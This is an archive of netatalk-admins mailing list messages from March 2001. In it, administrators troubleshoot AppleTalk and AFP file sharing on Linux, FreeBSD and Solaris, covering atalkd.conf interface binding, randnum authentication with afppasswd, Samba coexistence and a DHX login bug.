Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA24187
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 20:23:19 -0500 (EST)
Received: from ns12-n67-156.de.inter.net ([213.73.67.156] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14aSfd-0002BI-00
	for netatalk-admins@umich.edu; Wed, 07 Mar 2001 02:23:18 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id CAA06402
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 02:20:50 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: very [newbie]
Date: Wed, 7 Mar 2001 01:58:06 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3AA40083.E5EA3AD7@fnac.net> <15013.24770.26168.382263@h0050da615e79.ne.mediaone.net>
In-Reply-To: <15013.24770.26168.382263@h0050da615e79.ne.mediaone.net>
MIME-Version: 1.0
Message-Id: <01030702091002.04777@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id UAA01922

On Tue, 06 Mar 2001, Bob Rogers wrote:
[snip}
> In a nutshell, atalkd uses AppleTalk (via DDP) protocol(s?), while afpd
> uses AFPoverTCP (via TCP).
[snip]

Hmmm, are you sure?
This would mean I could leave off starting afpd since I just use AppleTalk via DDP (MacOS 7.6.1).
I always thought that atalkd establishes the "basic" protocols ECHO, ZIP, RTMP, NBP (Name-binding
is essential to "see" the server in the Chooser ;-) ).
And afpd implements AFP (DDP _and_ TCP).

Therefore you always need to start both atalkd _and_ afpd if you want to AppleShare via DDP.

Am I wrong?

Regards

	Carsten

BTW: There is no "Re:" in your reply subject.
Makes it hard to follow a thread!

From netatalk.administrators-errors@umich.edu  Tue Mar  6 21:26:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA02984
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 21:26:19 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA06546
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 21:26:19 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA06527
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 21:26:18 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id VAA06442
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 21:26:15 -0500 (EST)
Received: (qmail 20644 invoked by uid 500); 7 Mar 2001 02:26:09 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15013.39999.134655.368980@h0050da615e79.ne.mediaone.net>
Date: Tue, 6 Mar 2001 21:26:06 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: deltor@snafu.de
Cc: netatalk-admins@umich.edu
Subject: Re: very [newbie]
In-Reply-To: <01030702091002.04777@athlet>
References: <3AA40083.E5EA3AD7@fnac.net>
	<15013.24770.26168.382263@h0050da615e79.ne.mediaone.net>
	<01030702091002.04777@athlet>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Carsten Neumann <deltor@snafu.de>
   Date: Wed, 7 Mar 2001 01:58:06 +0100

   On Tue, 06 Mar 2001, Bob Rogers wrote:
   [snip}
   > In a nutshell, atalkd uses AppleTalk (via DDP) protocol(s?), while afpd
   > uses AFPoverTCP (via TCP).
   [snip]

   Hmmm, are you sure?

Not very; I'm certainly no expert.  That's part of why I didn't attempt
to expand beyond the nutshell.

   . . . Therefore you always need to start both atalkd _and_ afpd if
   you want to AppleShare via DDP.

That could be; I've hardly used DDP in this configuration, because of
the aforementioned printer issue.  And I haven't tried my TCP-only
configuration without atalkd, either.

   So, I hope somebody solidly in the know will speak up and set me
right, so I don't go confusing any more newbies.  ;-}

   BTW: There is no "Re:" in your reply subject.
   Makes it hard to follow a thread!

"Re:" is just noise; it doesn't convey anything that message sequence
doesn't tell me.  But I wasn't trying to be obscure; in fact, I'm
surprised that you seem to rely on it so heavily . . .

					-- Bob

From netatalk.administrators-errors@umich.edu  Tue Mar  6 22:38:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA04188
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 22:38:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA26159
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 22:38:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA26148
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 22:38:31 -0500 (EST)
Received: from gromit.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA26105
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 22:38:29 -0500 (EST)
Received: from paulkrohn.com (wallace.daemonize.com [10.77.1.3] (may be forged))
	by gromit.daemonize.com (8.9.3/8.9.2) with ESMTP id TAA24093;
	Tue, 6 Mar 2001 19:38:27 -0800
Message-ID: <3AA5AD29.CA82650D@paulkrohn.com>
Date: Tue, 06 Mar 2001 19:38:17 -0800
From: Paul Krohn <pkrohn@paulkrohn.com>
X-Mailer: Mozilla 4.75C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: sesser@mac.com
CC: netatalk-admins@umich.edu
Subject: Re: No server in chooser...newbie
References: <B6CA9DBC.B3D%sesser@mac.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

just fought this one off myself.

your atalkd is binding only to the first interface it finds, in this
case, dc0.

atalkd.conf gets over-written every time you start atalkd, using what
you put in there as, well, i guess hints is the way i'd explain it.

i believe you could resolve this problem 2 ways:

1. an atalkd.conf file that contains one line:

dc1

atalkd will pick up existing appletalk zone info on that interface and
not bind to dc0. if there is no appletalk zone/cable ranges etc on that
network, it will put itself in the "*" zone along with your mac.

2. explicitly name & seed zones for both interfaces:

dc0 -seed -phase 2 -zone <Zone1> -addr <address1> -net <net1> 
dc1 -seed -phase 2 -zone <Zone2> -addr <address2> -net <net2> 

my interfaces are called eth0 and eth1:

eth0 -seed -phase 2 -net 1-2 -addr 1.99 -zone "inside"
eth1 -seed -phase 2 -net 3-4 -addr 3.99 -zone "outside"

the small net ranges suffice for my small home network.

don't try this in an office setting, unless you know there are no
pre-existing appletalk zones/routers (not to mention some sort of vague
notion of an appletalk zone scheme for the whole joint)! your network
admin will hunt me down ...

oh, and let me know if this helps. i'll be away for a few days, but can
follow up next wednesday if needed.

r a n d y // wrote:
> 
> I know this has probably been addressed about a million times. I just
> subscribed to the list and have been looking through the archive but still
> can't find a definitive solution to my problem. I can connect to my server
> using the IP but nothing shows up in chooser when I select AppleShare.
> 
> Here's what I'm working with:
> FreeBSD 4.2-STABLE i386
> 2 10/100BT NIC (Kingston) dc0 & dc1
> dc0 is connected to the net via PPPoE
> dc1 is connected to the MAC
> 
> #> ifconfig -u
> dc0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
>         inet6 fe80::2c0:f0ff:fe5a:919a%dc0 prefixlen 64 scopeid 0x1
>         atalk 65280.223 range 65280-65534 phase 2 broadcast 0.255
>         ether 00:c0:f0:5a:91:9a
>         media: autoselect (10baseT/UTP) status: active
>         supported media: autoselect 100baseTX <full-duplex> 100baseTX
> 10baseT/UTP <full-du
> plex> 10baseT/UTP none
> dc1: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
>         inet 192.168.100.1 netmask 0xffffff00 broadcast 192.168.100.255
>         inet6 fe80::2c0:f0ff:fe56:8d51%dc1 prefixlen 64 scopeid 0x2
>         ether 00:c0:f0:56:8d:51
>         media: autoselect (10baseT/UTP) status: active
>         supported media: autoselect 100baseTX <full-duplex> 100baseTX
> 10baseT/UTP <full-du
> plex> 10baseT/UTP none
> 
> The only modifications I have made to anyof the conf files was to
> AppleVolumes.system:
> #
> HOME
> /usr/share/muzak "MUZAK"
> #
> 
> Shouldn't my second NIC (dc1) have an atalk address bound to it since that's
> what's connected to my MAC? I have tried changing atalkd.conf but it gets
> over-ridden when I reboot.
> 
> I have read just about every file/doc/man on my system as well as most of
> the links found on asun's site. Any help would be greatly appreciated!
> 
> Thanks,
> - randy
> =============================
> r a n d y / sesser at mac.com

From netatalk.administrators-errors@umich.edu  Wed Mar  7 00:03:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA05997
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 00:03:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA19778
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 00:03:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA19750
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 00:03:48 -0500 (EST)
Received: from soda.csua.berkeley.edu (soda.CSUA.Berkeley.EDU [128.32.43.52])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA19689
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 00:03:47 -0500 (EST)
Received: from localhost (akopps@localhost)
	by soda.csua.berkeley.edu (8.11.1/8.11.1) with ESMTP id f2753rD71696
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 21:03:53 -0800 (PST)
	(envelope-from akopps@csua.berkeley.edu)
Date: Tue, 6 Mar 2001 21:03:53 -0800 (PST)
From: Akop Pogosian <akopps@CSUA.Berkeley.EDU>
To: <netatalk-admins@umich.edu>
Subject: Latest stable for Solaris?
Message-ID: <Pine.BSF.4.33.0103062058270.71078-100000@soda.csua.berkeley.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I have downladed 1.5pre4 source distribution from sourceforge and had
no end of problems trying to compile it. It seems to be quite broken
on Solaris right now.

So what is the latest stable version of netatalk that people run on
Solaris? Where should I get it?






From netatalk.administrators-errors@umich.edu  Wed Mar  7 03:53:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA10240
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 03:53:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA23660
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 03:53:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA23639
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 03:53:12 -0500 (EST)
Received: from smtp10.xs4all.nl (smtp10.xs4all.nl [194.109.6.54])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA23607
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 03:53:11 -0500 (EST)
Received: from webmail1.xs4all.nl (webmail1.xs4all.nl [194.109.127.31])
	by smtp10.xs4all.nl (8.11.0/8.11.0) with ESMTP id f278pb822357;
	Wed, 7 Mar 2001 09:51:38 +0100 (CET)
Received: by webmail1.xs4all.nl (8.9.3/8.9.3) id JAA06704;
	Wed, 7 Mar 2001 09:53:07 +0100 (CET)
Date: Wed, 7 Mar 2001 09:53:07 +0100 (CET)
Message-Id: <200103070853.JAA06704@webmail1.xs4all.nl>
X-Authentication-Warning: webmail1.xs4all.nl: lammerse set sender to lammerse@xs4all.nl using -f
From: Marcel Lammerse <lammerse@xs4all.nl>
To: Thomas Priore <tom@rupture.net>, netatalk-admins@umich.edu
References: <BJEHJOBOINDBHAMFMOFAEEEECFAA.tom@rupture.net>
In-Reply-To: <BJEHJOBOINDBHAMFMOFAEEEECFAA.tom@rupture.net>
MIME-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: IMP/PHP3 Imap webMail Program 2.0.0-xs4all
Subject: Re: Help PLS, only guest can log in.

Hello Thomas,

it seems that I have had the exact same (first) problem. I can't explain your 
second problem, but here's something that might help you on your way. By the 
way, I have a Linux redhat 6.0 system and I'm using MacOS 9.0.4.

If you want to do user-authentication, netatalk needs to support a number of 
authentication methods. If you follow the instructions and compile netatalk 
with the pam modules and the des library, you can see in /var/log/messages 
which authentication methods are supported.

If you use the default configuration files for afpd, these methods are: 
cleartext password login, guest login and Diffie-Hellman/CAST-128. None of 
these will work, except for guest login. 

What will work is if you look in /etc/atalk/uams and you find a randnum or 
rand2num file, encrypted random numbers are supported. You will need to 
configure this in afpd.conf. Just add it to uamslist. It should read something 
(I don't have Linux handy) like this:

"My volume" -transall -uamslist uams_randnum.so ...

If you've done that and you fire up netatalkd again (preferrable with the 
supplied script), you should see an additional supported authentication 
mechanism (encrypted random numbers).

Then what you need to do, is use the afppasswd command to create a password 
file and add your user to it. Something like:

afppasswd -c /etc/atalk/afppasswd
afppasswd -a my-user
[type password twice]

Then you should be able to connect to the share via your macintosh.

If anyone knows a better/more efficient way, I'd love to hear it. If you need 
any more help, just shout.

Regards,

Marcel


Quoting Thomas Priore <tom@rupture.net>:

> Hi, I install netatalk 1.5pre4 on redhat linux 7.0. (actually I install a
> bunch of different versions, from rpm and compiling) The problem seems to
> be
> that only guest can log on. From what I've read this seems to be a shadow
> password problem, but I have no idea how to fix it. Can anyone help?
> 
> I have a second problem too, which is more of a nuisance, the sever doesn't
> show up in the client's chooser, the ip has to be typed in. Is there a fix
> for this?
> 
> Thanks.
> 
> Tom
> 
> 

From netatalk.administrators-errors@umich.edu  Wed Mar  7 04:11:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA10531
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 04:11:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA28028
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 04:11:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA28024
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 04:11:11 -0500 (EST)
Received: from smtp.euronet.nl (america.euronet.nl [194.134.0.151])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA28013
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 04:11:10 -0500 (EST)
Received: from win2000bto1 (p648.vmw.euronet.nl [194.134.197.176])
	by smtp.euronet.nl (Postfix) with SMTP id B203C20045
	for <netatalk-admins@umich.edu>; Wed,  7 Mar 2001 10:11:07 +0100 (MET)
From: "Bas Toorenburg" <toorenbg@euronet.nl>
To: <netatalk-admins@umich.edu>
Subject: Unsubscribe
Date: Wed, 7 Mar 2001 10:12:33 +0100
Message-ID: <GIEFJGCGOALPNLEOAOGOIEBFCKAA.toorenbg@euronet.nl>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
In-Reply-To: <200103070853.JAA06704@webmail1.xs4all.nl>

unsubscribe

From netatalk.administrators-errors@umich.edu  Wed Mar  7 07:05:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA12867
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 07:05:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA24742
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 07:05:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA24719
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 07:05:09 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA24681
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 07:05:08 -0500 (EST)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.1/8.11.1) with ESMTP id f27C57311737
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 07:05:07 -0500
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210102b6cbd3e9bda2@[216.155.36.73]>
In-Reply-To: <Pine.LNX.4.30.0103061551410.13021-100000@www.molbio.wisc.edu>
References: <Pine.LNX.4.30.0103061551410.13021-100000@www.molbio.wisc.edu>
Date: Wed, 7 Mar 2001 07:09:11 -0500
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: Samba and Netatalk
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	Daniel,

	The two seem to co-exist together pretty well.  Rich made a 
few valid points with .AppleDouble files.

	However, there is one thing that you may want to bring up in 
regards to Windows and Linux users.  You need to let them know that 
they can't create files greater than 32 characters or the Mac users 
won't be a able to see them.  And you will get holy hell from your 
Mac users when they call you and day "Bob said that he put the file 
on the server, but I can't see it, is the server broken?"
	So, you may need to do some social engineering with your 
Windows and Linux users to make sure that they understand the 
limitation.  They will forget about it anyway, so make sure you have 
them sign something.  :-)  Can you tell I've been an Admin for way 
too long?

	Ryan

>Would anyone care to comment on experiences they've had sharing data out
>on a volume that was accessed by Netatalk and Samba? Any glitches? No
>problem, go ahead and do it, your nuts, dude..., etc...
>
>Thanks. I have a dream that I can take one of our NT file servers and
>replace it with a Linux/Samba/Netatalk box. What a fine realization that
>would be...
>
>Thanks.
>-Dan

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
The secret to not getting burned out is to play at
working hard, and not taking things too seriously.
- Linus Torvalds


From netatalk.administrators-errors@umich.edu  Wed Mar  7 07:12:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA12954
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 07:12:01 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA09518
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 07:12:01 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA09495
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 07:12:00 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA09452
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 07:11:59 -0500 (EST)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.1/8.11.1) with ESMTP id f27CBw312895
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 07:11:58 -0500
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210103b6cbd64f4e30@[216.155.36.73]>
Date: Wed, 7 Mar 2001 07:16:01 -0500
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: netatalk-1.5pre4-1.i386.rpm on 6.0
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	I'm setting up a Redhat 6.0 machine today and I don't plan to 
use shadowed passwords. Has anyone had any problems installing the 
netatalk-1.5pre4-1.i386.rpm on Redhat 6.0?

	Ryan
__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
The secret to not getting burned out is to play at
working hard, and not taking things too seriously.
- Linus Torvalds


From netatalk.administrators-errors@umich.edu  Wed Mar  7 08:17:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA14502
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 08:17:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA00662
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 08:17:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA00656
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 08:17:57 -0500 (EST)
Received: from mail.tasis.ch (mail.tasis.ch [194.209.185.234])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA00630
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 08:17:54 -0500 (EST)
Received: from localhost (tihen.william@localhost)
	by mail.tasis.ch (8.9.3/8.8.7) with ESMTP id OAA18746;
	Wed, 7 Mar 2001 14:54:33 +0100
Date: Wed, 7 Mar 2001 14:54:33 +0100 (CET)
From: Tihen <tihen.william@mail.tasis.ch>
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Samba and Netatalk
In-Reply-To: <Pine.LNX.4.30.0103061551410.13021-100000@www.molbio.wisc.edu>
Message-ID: <Pine.LNX.4.10.10103071452270.18451-100000@mail.tasis.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I have had only minor problems -- if someone uses both sometimes the Mac
has a hard time reconizing what the files are.  But I think the solution
is to update the AppleVolumes (or something like that).  

I recommend -- "Go ahead [make my day]."

Bill

On Tue, 6 Mar 2001, Daniel E. Lautenschleger wrote:

> Would anyone care to comment on experiences they've had sharing data out
> on a volume that was accessed by Netatalk and Samba? Any glitches? No
> problem, go ahead and do it, your nuts, dude..., etc...
> 
> Thanks. I have a dream that I can take one of our NT file servers and
> replace it with a Linux/Samba/Netatalk box. What a fine realization that
> would be...
> 
> Thanks.
> -Dan
> 


From netatalk.administrators-errors@umich.edu  Wed Mar  7 08:49:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA15458
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 08:49:43 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA08540
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 08:49:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA08503
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 08:49:34 -0500 (EST)
Received: from sowrong.org (syr-24-24-23-149.twcny.rr.com [24.24.23.149])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA08454
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 08:49:33 -0500 (EST)
Received: (from cjc26@localhost)
	by sowrong.org (8.11.0/8.11.0) id f27DnYo06288;
	Wed, 7 Mar 2001 08:49:34 -0500 (EST)
Date: Wed, 7 Mar 2001 08:49:34 -0500
From: Cliff Crawford <cjc26@cornell.edu>
To: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
Cc: deltor@snafu.de, netatalk-admins@umich.edu
Subject: Re: very [newbie]
Message-ID: <20010307084934.A6238@cornell.edu>
References: <3AA40083.E5EA3AD7@fnac.net> <15013.24770.26168.382263@h0050da615e79.ne.mediaone.net> <01030702091002.04777@athlet> <15013.39999.134655.368980@h0050da615e79.ne.mediaone.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <15013.39999.134655.368980@h0050da615e79.ne.mediaone.net>; from rogers-netatalk@rgrjr.dyndns.org on Tue, Mar 06, 2001 at 09:26:06PM -0500

* Bob Rogers <rogers-netatalk@rgrjr.dyndns.org> menulis:
> 
>    . . . Therefore you always need to start both atalkd _and_ afpd if
>    you want to AppleShare via DDP.
> 
> That could be; I've hardly used DDP in this configuration, because of
> the aforementioned printer issue.  And I haven't tried my TCP-only
> configuration without atalkd, either.
> 
>    So, I hope somebody solidly in the know will speak up and set me
> right, so I don't go confusing any more newbies.  ;-}

Carsten is correct.  afpd implements the file server for both appletalk
and tcp, while atalkd implements the AppleTalk networking protocols and
has nothing to do with file serving itself.  So both need to be running
to do AppleShare over appletalk.


-- 
Cliff Crawford

He who sacrifices his conscience to ambition
         burns a picture to obtain the ashes.  - Chinese proverb

From netatalk.administrators-errors@umich.edu  Wed Mar  7 11:07:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA19414
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 11:07:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA15008
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 11:07:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14999
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 11:07:07 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA14977
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 11:07:05 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id LAA11761;
	Wed, 7 Mar 2001 11:07:04 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3AA65C07.7CD44142@univrel.pr.uconn.edu>
Date: Wed, 07 Mar 2001 11:04:23 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Ryan McBeth <ryan@mobiusnm.com>
CC: netatalk-admins@umich.edu
Subject: Re: netatalk-1.5pre4-1.i386.rpm on 6.0
References: <v04210103b6cbd64f4e30@[216.155.36.73]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ryan McBeth wrote:
> I'm setting up a Redhat 6.0 machine today and I don't plan to
> use shadowed passwords. Has anyone had any problems installing the
> netatalk-1.5pre4-1.i386.rpm on Redhat 6.0?

DHX logins are broken in 1.5pre4-1. I'm releasing 1.5pre5 sometime today
(hopefully), which has that and a few other bugs fixed.

jeff

From netatalk.administrators-errors@umich.edu  Wed Mar  7 11:10:07 2001
